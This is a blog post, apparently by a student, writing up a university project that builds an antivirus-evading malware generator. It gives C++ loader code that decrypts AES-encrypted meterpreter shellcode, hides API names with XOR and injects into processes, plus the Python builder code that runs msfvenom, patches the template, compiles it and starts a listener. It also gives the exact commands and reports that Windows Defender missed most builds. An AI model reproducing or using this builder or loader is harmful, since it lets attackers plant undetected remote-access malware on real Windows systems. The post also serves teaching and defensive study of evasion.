Basic Malware Techniques…and an ugly builder

Basic Malware Techniques…and an ugly builder

Disclaimer

First, yes, it has been a while since my last post. Lots have happened since then: New jobs, Graduation, Moving house—ugh, there aren’t enough hours in the week to do things, are there? I’m still cooking up some stuff, but I think it’s been too long since my last post, so I need time to push all these projects up to my website. So here we are with the first new post of hopefully many.

So, background in this project. This was my third-year project at the university as part of the Advanced Ethical Hacking project. This module had two projects: malware analysis and a self-driven project written in Python. Now, during this time, I was obsessed with learning what I could about malware, and malware in Python is interesting (A future post inspired by the Chinese Threat actors installing Python and using the Python interpreter to run Beacon-Object-File-like malware modules) that was beyond the scope of this project.

In the future, I plan to publish more posts about more advanced techniques I have encountered and replicated, but at the time of this project, I was only getting into the beautiful world of malware. 

This project was inspired by many blog posts on this subject and vx-underground. I was a broke student, and it would have been infinitely more challenging to learn this stuff unless it was from them and the rest of the infosec community.

Abstract (Straight from the paper)

Malware encompasses a wide range of malicious software designed to disrupt or gain unauthorised access to computer systems. It includes viruses, worms, trojans, ransomware, spyware, and adware, posing significant risks to individuals and organisations. Malware spreads through various vectors and evolves to bypass security measures. This constant battle between malware creators and security practitioners emphasises the importance of continuous improvements in cybersecurity technologies and practices to counter these evolving threats effectively.

In this paper, a Python script was developed to automate the malware development process, focusing on several essential techniques: Process Injection, Payload Obfuscation using encryption, and Function call obfuscation. The Python script streamlines and accelerates malware creation by incorporating these techniques into a cohesive framework. Process Injection allows the malware to inject malicious code into legitimate processes, thereby evading detection and leveraging the trust associated with those processes. Payload Obfuscation, achieved through encryption, ensures that the malicious code remains hidden and unintelligible to security measures, making it challenging to analyse and detect.

Additionally, Function call obfuscation disguises the intended purpose of specific function calls within the malware, further complicating analysis and hindering detection efforts. By automating these techniques through the Python script, the process of developing malware becomes more efficient and effective, enabling threat actors to create sophisticated and evasive malicious software rapidly. It is crucial to note that the purpose of this paper is solely for educational and research purposes, emphasising the significance of understanding these techniques to enhance cybersecurity defences and protect against potential threats.

Despite the potential weaknesses of the techniques employed, the outcome of utilising Process Injection, Payload Obfuscation using encryption, and Function call obfuscation demonstrated their remarkable effectiveness against modern Windows systems and anti-virus solutions, particularly Windows Defender. Implementing these seemingly straightforward techniques revealed their ability to bypass the detection capabilities of common security measures. The malware produced successfully evaded detection by commonly employed anti-virus software, including Windows Defender, which comes preinstalled as the primary anti-virus solution on the Windows Operating System. This outcome underscores the pressing need for continuous advancement in security technologies and the development of more sophisticated defence mechanisms to counter the ever-evolving malware threat landscape. The findings of this study emphasise the importance of staying vigilant and proactive in the face of emerging techniques that can potentially undermine existing security solutions.

Why this? 

In my experience when using Command and Control frameworks with the chance to try out the infamous CobaltStrike during my time in the United States, I noticed that whenever I would generate a payload and detonate it, the very moment it touched the file system Microsoft Defender flipped its lid and nuked it 🙁 Using any payload, whether you ran them through tools such as shelter or unicorn obfuscation, nothing CobaltStrike, Sliver or Metasploit would generate could be stopped by Microsoft Defender.

Figure 1: Command and Control Detections over a 3 year period (Source: Recorded Future)

Yet despite this, according to this report by Recorded Futures, an excellent source for Threat Intelligence, CobaltStrike remains the most popular Command and Control framework, with 1441 servers detected in 2020, 3691 in 2021, and then 7480 detections in 2022 and 45.29% of all detections by malware family seen by Recoded Futures being CobaltStrike.

Figure 2: Total C2 Detections by malware family (Source: Recorded Future)

It’s clearly very effective, not just to use CobaltStrike but also open-source C2 frameworks; for example, according to this report by NCSC supported by the NSA and FBI, APT29 is known to use this framework as “likely an attempt to ensure access to a number of the existing WellMess and WellMail victims was maintained.” Sliver is being used to launch other malware, such as Qakbot. 

So, like…how?

Basic Malware Techniques

Now, as Antivirus solutions predominantly depend on signature-based methods (Yara rules instantly come to mind) to look for particular attributes of malware that set it apart from benign software, they are usually derived from Indicators of Compromise (IoCs) identified during the malware analysis process. Signatures can be written to look for several things, such as function imports, strings, registry keys, or encryption methods. As the malware author, you must avoid these signatures as much as possible to execute your malicious code without detection. How do you do that? There are several ways to do it; here are the basics.

Payload Obfuscation

Theory

Obfuscating a payload involves encryption or other techniques to protect the malicious Shellcode. By encrypting the payload, the data that interacts with the disk becomes obfuscated, evading detection by Antivirus solutions that scan it. This layer of encryption renders the Shellcode unreadable and unintelligible to AV software, making it more challenging for security solutions to identify the true nature of the payload and hide many of those IoCs.

Now, the problem if we are to go down this route is that by encrypting our executable code…we need a way to decrypt it and run it in memory. You can’t just have someone double-click it or execute it on its own; that won’t work. We need to write our own dropper or runner responsible for Decrypting the Shellcode and initialising its execution using Windows API Functions.

The decrypted payload is loaded into memory and executed seamlessly, leveraging standard Windows API functions and the existing functionalities provided by the Windows operating system. This technique allows the payload to run undetected, leveraging legitimate system functions and behaviours.
As you may have guessed, the weakness of this approach is the “runner” itself. The runner needs to reduce the number of IoCs within it because if AV or EDR solutions detect that there is a random executable and all it does is take some encrypted machine code, load it into a space in memory, decrypt it in memory, and run it, there is no good reason it should realistically be doing that for any legitimate reason, keep this in mind for later.

Practical

So we have the concept in Theory, here are some code snippets to show how its done.

To conceal the payload, the AES encryption technique is utilised to encrypt the shellcode. The encrypted payload can be stored in various locations within the executable file. For instance, it can be embedded within the primary function, pushed onto the stack, or included as a favicon within the .rscs section. However, for this proof of concept, the encrypted payload was stored as a global variable placed in the .data section of the PE file, as shown below.

unsigned char payload[] = { 0x90 };
unsigned int payload_size = sizeof(payload); 

Afterwards, a decryption key is placed on the stack within the WinMain function to enable the subsequent shellcode decryption. For execution, it undergoes in-place decryption utilising the following code snippet:

int AESDecrypt(BYTE* payload, DWORD payload_len, char* key, size_t keylen) {
	HCRYPTPROV hProv;
	HCRYPTHASH hHash;
	HCRYPTKEY hKey;

	if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
		return -1;
	}

	if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
		return -1;
	}

	if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
		return -1;
	}

	if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
		return -1;
	}

	if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, payload, &payload_len)) {
		return -1;
	}

	CryptReleaseContext(hProv, 0);
	CryptDestroyHash(hHash);
	CryptDestroyKey(hKey);

	return 0;
}

String Obfuscation

Ok, so we have encrypted the Payload, Now we need to hide any hardcoded strings in the payload to eliminate that weakness

In the context of handling strings or other malicious binaries, one effective method to evade the detection of malicious strings within a binary is through encryption. Encrypting these strings makes their content scrambled and unintelligible to Anti-Virus solutions. This approach helps evade newly forged signatures that AV solutions use to detect malware, as it alters the Indicators of Compromise associated with the encrypted strings with each encryption key change.

Malware developers can ensure that the resulting encrypted strings generate different ciphertexts by periodically altering the encryption keys while maintaining the same encryption algorithm. This dynamic behaviour disrupts the consistency of the malicious signatures and IOCs that AV solutions rely on for detection. As a result, the detection rate decreases as the encrypted strings effectively evade AV solutions’ signature-based detection mechanisms; however, the consistency with decryption algorithms maintains the ease of automation to simplify the process.

Practical

To obfuscate strings, a straightforward XOR encryption technique was employed to conceal the function names. This obfuscation step is crucial for subsequent function call obfuscation. The obfuscated strings reside on the stack in the Main function. However, they are encrypted and manually terminated with a Null Terminator “0x0” to prevent potential overflows during string operations. This precaution ensures the integrity of these strings when utilised in various actions, as demonstrated below:

char sVirtualAlloc[] = { 0x34, 0x7, 0x39, 0x40, 0x40, 0x5, 0x1e, 0x26, 0x18, 0x1, 0x58, 0x15, 0x00 };
char sRtlMoveMemory[] = { 0x30, 0x1a, 0x27, 0x79, 0x5a, 0x12, 0x17, 0x2a, 0x11, 0x0, 0x58, 0x4, 0x29, 0x00 };
char sVirtualProtect[] = { 0x34, 0x7, 0x39, 0x40, 0x40, 0x5, 0x1e, 0x37, 0x6, 0x2, 0x43, 0x13, 0x33, 0x39, 0x00 };
char sCreateThread[] = { 0x21, 0x1c, 0x2e, 0x55, 0x41, 0x1, 0x26, 0xf, 0x6, 0x8, 0x56, 0x12, 0x00 };

The XOR function (as described in Appendix A 1.1) is employed to decrypt these strings directly in their original memory location. The decryption process is initiated using the following code snippet, and the size of each string is reduced by one to eliminate the manually added null terminator that was appended at the end of each string after encryption.

XOR((char*)sVirtualAlloc, sizeof(sVirtualAlloc) - 1, skey, sizeof(skey));
XOR((char*)sRtlMoveMemory, sizeof(sRtlMoveMemory) - 1, skey, sizeof(skey));
XOR((char*)sVirtualProtect, sizeof(sVirtualProtect) - 1, skey, sizeof(skey));
XOR((char*)sCreateThread, sizeof(sCreateThread) - 1, skey, sizeof(skey));

Function Call Obfuscation

Now we have the strings hidden, however at the end of the day we are using functions that already exist within the operating system, function calls can be a major give away to what the program is intending to do as alluded to earlier.

Signatures used by Anti-Virus solutions to detect malware often involve examining the import address table within the Portable Executable file headers. By analysing these imports, AV software can identify suspicious or malicious tools the program employs. However, malware developers can evade this detection method by dynamically utilising these functions at runtime instead of importing them during compile time.

To accomplish this evasion technique, malware leverages other Windows API function calls to identify dynamic-link libraries and functions in memory. By doing so, the malware maps the addresses of these functions at runtime, bypassing the need for explicit imports during compilation.

This method allows the malware to evade signature-based detection by avoiding the static imports typically examined by AV solutions. Instead, the malware dynamically resolves the required functions at runtime, making it harder for security software to detect the presence of malicious behaviour during the initial scanning process.

By utilising this approach, malware can disguise its intent and conceal the use of potentially malicious tools or libraries. In addition, this evasion technique capitalises on the flexibility and dynamic nature of Windows API function calls, enabling malware to bypass signature-based detection and potentially execute harmful actions undetected.

Practical

To obfuscate function calls, the first step involves initialising multiple Windows API functions and obtaining their addresses from the relevant DLLs.

Globally declared function pointers are used for four specific Windows API functions: hVirtualAlloc, hRtlMoveMemory, hVirtualProtect, and hCreateThread, these function pointers are declared with identical function signatures as the corresponding API functions they reference, as shown below.

LPVOID(WINAPI* hVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD  flProtect);
VOID(WINAPI* hRtlMoveMemory)(VOID UNALIGNED* Destination, const VOID UNALIGNED* Source, SIZE_T Length);
BOOL(WINAPI* hVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);
HANDLE(WINAPI* hCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);

Next, in the main() function, the addresses of the corresponding API functions are obtained using the GetProcAddress function. This function retrieves the address of the specified function from the specified DLL. GetProcAddress is then called with different DLL names (kernel32.dll and ntdll.dll) and function names which were previously decrypted during the string obfuscation section (sVirtualAlloc, sRtlMoveMemory, sVirtualProtect, sCreateThread).

The return value of GetProcAddress is a FARPROC, a generic function pointer type. To assign these function addresses to the correct function pointer types, explicit casting is performed to match the function signature of each API function.

hVirtualAlloc = (LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD))GetProcAddress(GetModuleHandle(L"kernel32.dll"), sVirtualAlloc);

hRtlMoveMemory = (VOID(WINAPI*)(VOID UNALIGNED*, const VOID UNALIGNED*, SIZE_T))GetProcAddress(GetModuleHandle(L"ntdll.dll"), sRtlMoveMemory);

hVirtualProtect = (BOOL(WINAPI*)(LPVOID, SIZE_T, DWORD, PDWORD))GetProcAddress(GetModuleHandle(L"kernel32.dll"), sVirtualProtect);

hCreateThread = (HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD))GetProcAddress(GetModuleHandle(L"kernel32.dll"), sCreateThread);

Process Injection / Shellcode Execution

Now we have obfuscated all the hard coded strings and dynamically imported function calls, now we need to make sure our malware is persistent, if the program used to detonate the malware is closed, so will the string maintaining access, we want to inject into another process running on the system to ensure we can continue accessing the system after the user closes the program

Process injection is a technique employed by malware to clandestinely insert malicious code or a payload into a legitimate process running on a target system. This method allows the malware to camouflage itself within a trusted process, thereby impeding the ability of anti-virus software to detect and mitigate the threat promptly.

The malware gains a significant advantage in evading heuristic-based anti-virus detection by injecting malicious code into a legitimate process. Anti-virus software often relies on heuristic analysis, which involves identifying suspicious behaviour or patterns, to flag potential threats. However, by embedding the malicious code within a trusted process, the malware can obfuscate its activities and reduce the likelihood of detection. This is because the anti-virus software may have difficulty distinguishing between the expected behaviour of the legitimate process and the malicious actions perpetrated by the injected code. Consequently, the chances of the malware being identified based on predefined patterns or signatures are diminished.

Furthermore, process injection grants the malware access to the memory space of the legitimate process it has been injected into. This allows the malware to execute its malicious activities within the context of the trusted process, making it arduous for anti-virus programs to differentiate between legitimate and malicious actions. The malware effectively leverages the privileges and access rights of the legitimate process, further complicating the detection process and increasing its ability to operate undetected persistently.

Scanning active memory for malware involves analysing the memory space of running processes in real-time. Since active memory contains a significant amount of data and numerous processes may run simultaneously, scanning each process’s memory can consume substantial system resources, such as CPU and memory usage. This can lead to increased system load and potential performance degradation, especially on systems with limited resources or when scanning is performed frequently. Active memory scanning relies on heuristics, signatures, and behaviour analysis to identify potentially malicious activities. These detection techniques may produce false positives, flagging legitimate processes or memory segments as malicious. False positives can occur because of similarities between legitimate and malicious behaviour patterns. These false positives can disrupt normal system operations, trigger unnecessary alarms, and require manual investigation, potentially leading to wasted time and resources.

Practical

The hVirtualAlloc function is used in substitute to calling the API function directly to allocate memory for the payload. The exec_mem variable will store the starting address of the allocated memory block. The payload_size parameter specifies the size of the payload. The flags MEM_COMMIT | MEM_RESERVE indicate that the memory should be committed and reserved. The PAGE_READWRITE flag sets the initial memory protection to allow read and write access.

exec_mem = hVirtualAlloc(0, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

Next, the hRtlMoveMemory function is used to copy the decrypted payload to the allocated buffer (exec_mem). This function moves a memory block from the payload to the exec_mem location. The payload_size parameter specifies the size of the memory block to be copied.

hRtlMoveMemory(exec_mem, payload, payload_size);

This section uses the hVirtualProtect function to change the protection of the memory region pointed to by exec_mem. It sets the memory protection to PAGE_EXECUTE_READ, allowing the contents of the buffer to be executed as code. This reduces the risk of being flagged as malicious, as the Readable, Writable, and Executable memory is generally considered suspicious. The payload_size parameter specifies the size of the memory region to be modified.

rv = hVirtualProtect(exec_mem, payload_size, PAGE_EXECUTE_READ, &oldprotect);

This section checks if the memory protection modification was successful (rv is a return value indicating success or failure). If the modification is successful, it creates a new thread using the hCreateThread function. The exec_mem address is passed as the starting address for the new thread’s execution. The WaitForSingleObject function is then used to wait for the newly created thread to complete execution before proceeding.

if (rv != 0) {
	th = hCreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
	WaitForSingleObject(th, -1);
}

Python Builder Code

Cryptor (Basic)

MSF Installer

This function starts by defining various local variables, such as the download URL, download location, log location, extraction location, and the name of the zip file. The program downloads the file “Metasploit framework-latest.msi” from the metasploit.com website. To expedite the download process, the program utilises multi-threading. The script waits for the download thread to complete before moving on to a modified PowerShell script. The original powershell script can be found here.

def msf_install_check(install_location):
    # Check if the installation path exists and return a boolean value 
    return os.path.exists(install_location)

def download_file(url, destination):

    # Send a GET request to the specified URL to download the file
    response = requests.get(url, stream=True)

    # Retrieve the total size of the file from the response headers set block size for reading response content and initialise the progress bar using the total size of the file 
    total_size = int(response.headers.get('content-length', 0))
    block_size = 1024  # 1 KB
    progress_bar = tqdm(total=total_size, unit='B', unit_scale=True)

    # Open the destination file in binary write mode
    with open(destination, 'wb') as file:
        # Iterate over the response content in blocks
        for data in response.iter_content(block_size):
            # Write the data block to the file
            file.write(data)

            # Update the progress bar with the length of the data block
            progress_bar.close()

def prompt_msf_installation():
    while True:
        user_input = input("Would you like to install Metasploit? (yes/no): ")
        if user_input.lower() == "yes":
            return True
        elif user_input.lower() == "no":
            return False
        else:
            print("Invalid input. Please enter 'yes' or 'no'.")

def msf_installation(current_dir):
    # Download URL and file paths
    download_url = "https://windows.metasploit.com/metasploitframework-latest.msi"
    download_location = os.path.join(current_dir, "metasploit.msi")
    log_location = os.path.join(current_dir, "install.log")
    extract_location = os.path.join(current_dir, "metasploit")
    zip_file = os.path.join(current_dir, "metasploit-framework.zip")

    # Create the download thread
    download_thread = threading.Thread(target=download_file, args=(download_url, download_location))
    download_thread.start()

    # Wait for the download thread to complete
    download_thread.join()

    # Execute the PowerShell script
    ps_script = fr'''
    $Installer = "{download_location}"
    $LogLocation = "{log_location}"

    & $Installer /q /log $LogLocation INSTALLLOCATION="{current_dir}"
    '''

    proc = subprocess.Popen(['powershell', '-Command', ps_script])
    proc.wait()

    # Add a delay before operating on the files
    time.sleep(5)  # Adjust the delay as needed

    # Extract the zip file
    extract_zip(zip_file, extract_location)

    time.sleep(5)  # Adjust the delay as needed
    # Remove downloaded files
    os.remove(download_location)
    os.remove(zip_file)

The PowerShell script initialises two variables, $Installer and $LogLocation, obtained from their respective Python variables. It then executes the Installer, which extracts a .zip file containing the Metasploit framework. After executing the script and ensuring its completion, the program waits for 5 seconds to allow the resources to be unlocked before initiating the zip file extraction. The program utilises the patoolib library during the extraction process, which leverages multi-threading to speed up the extraction. Finally, the function concludes by deleting the downloaded and zip files to clean up the temporary resources used during the installation.

# Get the current directory
current_dir = os.path.abspath(os.path.dirname(__file__))

# Check for MSF Install and prompt for installation 
install_location = os.path.join(current_dir, "metasploit")
if not msf_install_check(install_location):
    decision = prompt_msf_installation()

    if decision:
        # Install Metasploit Framework Silently
        msf_installation(current_dir)
    else:
        print("Metasploit installation not selected. Exiting.")
        sys.exit()

Aesenc and pad

The program proceeds to hash the key using the SHA256 algorithm, generating a 256-bit (32-byte) key. This is achieved by applying the hashlib.sha256(key).digest() method, which returns the hashed key.

An initialisation vector (iv) is created as a byte string consisting of 16 null bytes (b’\x00′ * 16). The initialisation vector aims to introduce randomness and prevent patterns in the encrypted output.

Next, the plaintext is passed to the pad function, which adds padding to ensure that the length of the plaintext is a multiple of the AES block size (16 bytes). Padding is necessary because AES operates on fixed-size blocks, and when the plaintext length is not an exact multiple of the block size, padding is added to fill the remaining space.

An AES cypher object is created using the AES to encrypt the padded plaintext—new (k, AES.MODE_CBC, iv) method, where k represents the hashed key, AES. MODE_CBC indicates the cypher mode (Cipher Block Chaining), and iv is the initialisation vector. The cypher object encrypts the padded plaintext by calling the cypher.encrypt(bytes(plaintext)) method. The resulting ciphertext is then returned as the output of the function.

def pad(s):
    # Calculate the required padding size 
    padding = AES.block_size - len(s) % AES.block_size

    # Create a bytes object with the padding value repeated `padding` times and return 
    return s + bytes([padding]) * padding

def aesenc(plaintext, key):
    # Hash the key using SHA256 to derive the encryption key
	k = hashlib.sha256(key).digest()

    # Generate an initialization vector (IV) consisting of null bytes
	iv = b'\x00' * 16 

    # Pad the plaintext to match the AES block size
	plaintext = pad(plaintext)

    # Create an AES cipher object in Cipher Block Chaining (CBC) mode with the derived key and IV
	cipher = AES.new(k, AES.MODE_CBC, iv)

    # Encrypt the padded plaintext using the AES cipher and Return 
	return cipher.encrypt(bytes(plaintext))

XOR

This function performs an XOR operation between each character in the “data” string and its corresponding character in the “key” string.

To start, the function initialises two variables: “l” stores the length of the key, and “output_str” is an empty string to hold the resulting XORed characters.

The function then iterates through each character in the “data” string. For each character, it retrieves the current character from “data” and the corresponding character from “key”. To ensure that the key is repeated cyclically if its length is shorter than the data, the modulo operator is used (“i % len(key)”).

The XOR operation is performed between the ASCII values of the current characters from “data” and “key”. The result is then converted back to a character using the “chr()” function and appended to the “output_str”.

Once the loop completes, the function returns the resulting XORed string stored in “output_str”.

def xor(data, key):
    # Get the length of the key and initialise variables 
	l = len(key)
	output_str = ""

    # Perform XOR operation between each character in the data and the corresponding character in the key
	for i in range(len(data)):
		current = data[i]
		current_key = key[i%len(key)]
		output_str += chr(ord(current) ^ ord(current_key))
	# Return the resulting XORed string
	return output_str

msfConsole

If the meterpreter flag is enabled, the program calls the msfConsole() function. This function begins by creating two variables: msfconsole_dir and listener_script.

The msfconsole_dir variable points to the .bat file in the local installation of Metasploit Framework. On the other hand, the listener_script variable represents the script that will be passed to Metasploit to set up the listener.

The function attempts to create a temporary file and writes the contents of the listener_script into that file. It then executes the Metasploit console with the “quiet” flag and the “read” flag, which allows the script to be passed as input. This ensures that a listener will be enabled when Metasploit starts based on the user-defined parameters specified in the script.

Finally, the function removes the temporary script file to clean up any temporary resources used during the execution.

def msfConsole(current_dir, ip_address, port, msf_payload):
    # Script to start listener silently
    msfconsole_dir = rf'{current_dir}\metasploit\bin\msfconsole.bat'
    listener_script = f'use exploit/multi/handler\nset payload {msf_payload}\nset LHOST {ip_address}\nset LPORT {port}\nexploit -j'

    try:
        # Create a temporary batch script file
        with tempfile.NamedTemporaryFile(mode='w', delete=False) as script_file:
            script_file.write(listener_script)
            script_file_path = script_file.name

        # Execute msfconsole with the temporary script file as an argument
        subprocess.run([msfconsole_dir, '-q', '-r', script_file_path], check=True)
    except subprocess.CalledProcessError as e:
        print(f"Error starting msfconsole listener: {e}")
    finally:
        # Remove the temporary script file
        os.remove(script_file_path)

Main Function

The program starts by using argparser to handle multiple arguments:

  • “IP” option: Determines the LHOST (local host) for the payload.
  • “Port” option: Determines the LPORT (local port) to which the payload will call back.
  • “Module” option: Allows the user to select the payload within MSFVenom.
  • “–meterpreter” flag: Optional flag used to automatically set up a multi/handler listener on the local machine for meterpreter.
  • “–options” option: Used to pass additional options to MSFVenom during payload generation.

If the user chooses not to install Metasploit, the program will exit. However, if they decide to proceed with the installation, the installation function is executed. Once Metasploit has been installed or the installation has been verified, the program continues to construct and execute the msfvenom command using the supplied variables to generate the shellcode

# Construct the msfvenom command
msfvenom_cmd = [
    '.\\metasploit\\bin\\msfvenom.bat',
    '-p', msf_payload,
    f'LHOST={ip_address}',
    f'LPORT={port}',
    *payload_options,
    '-f', 'raw',
    '-o', 'shell.raw'
]

Following that, the program initiates the obfuscation process. It begins by encrypting the payload, generating a random 16-character key stored in the variable “KEY”. The program then opens the file “shell.raw” in read-only mode and reads its contents as bytes into a variable named “plaintext”. This file was previously generated by msfvenom and contains the original, unencrypted shellcode for execution.

To perform the encryption, a new variable named “ciphertext” is created to store the output of the aesenc() function. This function applies the Advanced Encryption Standard (AES) encryption algorithm to the “plaintext” using the generated key. The resulting encrypted shellcode is stored in the “ciphertext” variable.

Following that, the program utilises a separate key for XOR string encryption. Initially, a 20-character ASCII string is generated and stored in the variable “SKEY”. This key is applied in the xor() function. The xor() function is invoked four times, each time with a specific string corresponding to a Windows API function and the key (“SKEY”). The resulting data from each encryption is stored in their respective variables.

# Payload Encryption 
KEY = urandom(16)
plaintext = open('shell.raw', "rb").read()
ciphertext = aesenc(plaintext, KEY)

# String Encryption 
SKEY = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(20))

sVirtualAlloc = xor("VirtualAlloc", SKEY)
sRtlMoveMemory = xor("RtlMoveMemory", SKEY)
sVirtualProtect = xor("VirtualProtect", SKEY)
sCreateThread = xor("CreateThread", SKEY)

Next, the program maps lines to be replaced within the template code. Specifically, the payload is stored on line 12, the payload key on line 90, the string key on line 93, and the API function names on lines 96-99. Each of these lines is formatted as a variable declaration in the code, with the values of the variables expressed in hexadecimal format, except for the string key, which is left as is.

# Define a mapping of lines to replace and their replacement
line_replacements = {
    12: 'unsigned char payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' }; // Malware Payload\n',
    90: 'char key[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };\n',
    93: 'char skey[] = "' + SKEY + '"; // Random String Decryption Key\n',
    96: Format(sVirtualAlloc, "sVirtualAlloc"),
    97: Format(sRtlMoveMemory, "sRtlMoveMemory"),
    98: Format(sVirtualProtect, "sVirtualProtect"),
    99: Format(sCreateThread, "sCreateThread"),
    }
def Format(ciphertext, var_name):
    # Convert the ciphertext to UTF-8 encoding
    utf8_str = ciphertext.encode('utf-8')

    # Convert each byte of the UTF-8 string to its hexadecimal representation
    hex_str = ', 0x'.join([hex(b)[2:] for b in utf8_str])

    # Create a string representing a C-style variable declaration with the given variable name and the hexadecimal values
    variable = 'char ' + var_name + '[] = { 0x' + hex_str + ', 0x00 };\n'

    return variable

The program proceeds to open the C++ file that contains the template using the FileInput method. This action creates a backup of the template file with the extension .bak and stores it in a variable called “file”. The program then enters a for loop that iterates through the lines in the file. It replaces the lines specified by the line numbers in the line_replacements variable with the corresponding mapped values. These mapped values include the encrypted strings, shellcode, and keys generated earlier.

# Open the file
with fileinput.FileInput(r'.\Malware\Malware\Malware.cpp', inplace=True, backup='.bak') as file:
    for line_number, line in enumerate(file, start=1):
        # If this line number has a replacement
        if line_number in line_replacements:
            # Print the replacement instead of the line
            print(line_replacements[line_number], end='')
        else:
            # Otherwise print the line as is
            print(line, end='')

Afterwards, the program compiles the project using msbuild as described in Appendix B 1.9. It then cleans up by moving the compiled executable to the “Executable” folder and removing any existing executables. If the cleanup process fails, the program terminates and displays an error message.

If the meterpreter flag is set, the program triggers the msfConsole() function. However, if the meterpreter flag is not set, the program exits successfully without further action.

# Compile the program 
compile()

# Move File to Executables Folder and Cleanup 
try: 
    source_file = r".\Malware\x64\Release\Malware.exe"
    destination_directory = r".\Executable"
    if os.path.exists(destination_directory + "\\Malware.exe"):
        os.remove(destination_directory + "\\Malware.exe")
    shutil.move(source_file, destination_directory)

except OSError as e:
    print(f"Error deleting file: {e}")

if meterpreter:
    msfConsole(current_dir, ip_address, port, msf_payload)

Cryptor (Process Injection)

The “cryptor-procinj.py” Process Injection script is akin to the initial script I utilised to generate and encrypt a msfvenom payload and compile it into an executable. However, it modifies the string variables to aid in identifying the process injection function call names within the process injection template and alters the placement of these variables.

Results

The outcomes were evaluated on a new Windows operating system installation with Windows Defender protections turned on as the target machine. In contrast, the attacking machine was a different Windows 10 system where all protections had been disabled.

Process Injection Stageless Payload

After conducting process injection, the initial Python script underwent testing. To generate a payload and establish a listener, the following command was utilised:

python.exe cryptor-procinj.py -i <LHOST> -p <LPORT> -m windows/x64/meterpreter_reverse_tcp --meterpreter 1

When this binary is uploaded to Antiscan.me, it reveals that Alyac, Avira, and Ad-Aware AV have detected it only three times.

Triggering the execution of this malicious software results in a callback. However, ensuring that the process “notepad.exe” is currently active and running on the system is essential.

Process Injection Staged Payload

To decrease the file size of the malware, the subsequent payload attempt involved leveraging the staged payload feature in Metasploit. This was accomplished through the utilisation of the following command:

python.exe cryptor-procinj.py -i <LHOST> -p <LPORT> -m windows/x64/meterpreter/reverse_tcp --meterpreter 1

When analysing this executable on Antiscan.me, it reveals no detections.

Upon detonation, it successfully triggers a callback.

Self Injection Stageless Payload

Transitioning to the alternative Python script, the subsequent command was employed to generate a stageless payload. This payload is designed to inject malware into its memory space without specifically targeting pre-existing processes.

python.exe cryptor.py -i <LHOST> -p <LPORT> -m windows/x64/meterpreter_reverse_tcp --meterpreter 1

The examination of this file reveals that it is recognised by four anti-virus solutions.

However, upon detonating this malware, a momentary callback is observed, followed by detection by Windows Defender. This suggests the malware was identified through heuristic-based detection, as described below.

Self Injection Staged Payload

The subsequent command was utilised to generate the payload to facilitate self-injection staging.

python.exe cryptor.py -i <LHOST> -p <LPORT> -m windows/x64/meterpreter/reverse_tcp --meterpreter 1

Only a single detection is reported when uploaded to antiscan.me.

However, Windows Defender identifies this malware like the stageless payload described in the previous section, possibly due to heuristic detection mechanisms.

Future Work

While this post has provided an overview of prevailing techniques utilised to elude malware detection and emphasised their efficacy against contemporary and up-to-date defences, it is vital to acknowledge the vast array of untapped opportunities for research and development. This section aims to delineate potential avenues that can propel the intricacy and potency of malware while simultaneously fostering a more pervasive comprehension of the methods employed by malicious actors to accomplish their objectives. Additionally, this section aims to explore the possibilities of automating these processes using Python, thus streamlining and enhancing the effectiveness of malware techniques.

Reflective DLL Injection

Reflective DLL injection is a technique used in creating malicious software that enables the loading and execution of code directly from memory without relying on traditional file-based execution. By crafting malware capable of self-modifying its code in memory, it can execute the modified code directly.

The effectiveness of a custom reflective binary lies in its ability to evade detection and bypass security measures. Operating solely in memory without writing the malware code as a separate file on a disk reduces the footprint and visibility of malicious activity. This makes it more challenging for traditional anti-virus and intrusion detection systems to detect or analyse the malware.

The absence of a file on disk poses difficulties for security solutions that rely on file-based detection techniques to identify and analyse malware. As a result, the malware has a higher chance of going undetected during routine scans, increasing its stealth and longevity.

Reflective DLL injection shares similarities with shellcode injection techniques and offers potential advantages and drawbacks in process injection.

Malicious API Hooking

Malicious API Hooking involves intercepting and modifying the behaviour of application programming interfaces to gain control over a target system or application. Through API hooking, malware can disrupt normal operations, intercept sensitive data, inject malicious code, or manipulate system behaviour to its advantage.

By hooking APIs associated with system functionality or security mechanisms, malware can acquire elevated privileges and circumvent access controls, allowing it to perform actions that would otherwise be restricted. Additionally, the malware gains valuable information for further malicious activities by intercepting and capturing sensitive data such as passwords, keystrokes, network traffic, or system activity. Furthermore, API hooking enables code injection into legitimate processes or applications.

This technique allows the malware to execute arbitrary commands, download additional payloads, or establish persistence on a compromised system. API hooking serves as a means for malware to avoid detection by modifying API calls, concealing its presence, and altering the behaviour of security solutions. By intercepting and manipulating API responses, the malware can present false or benign results, deceiving security mechanisms and evading analysis.

By hooking critical system APIs, malware ensures its persistence on a compromised system, even in the face of reboots or applied security measures. This control empowers the malware to continue its malicious activities uninterrupted over an extended period of time.

32-bit and 64-bit migration with IPC Payload Control

Using techniques like “Heavens Gate” enables malicious software to migrate between 32-bit and 64-bit processes, expanding its target range to accomplish various objectives. For instance, malware can inject itself into programs like OneDrive.exe, which runs during system startup as a 32-bit process on modern Windows systems. By injecting into this program, malware can ensure its presence in memory, ensuring evasion and persistence.

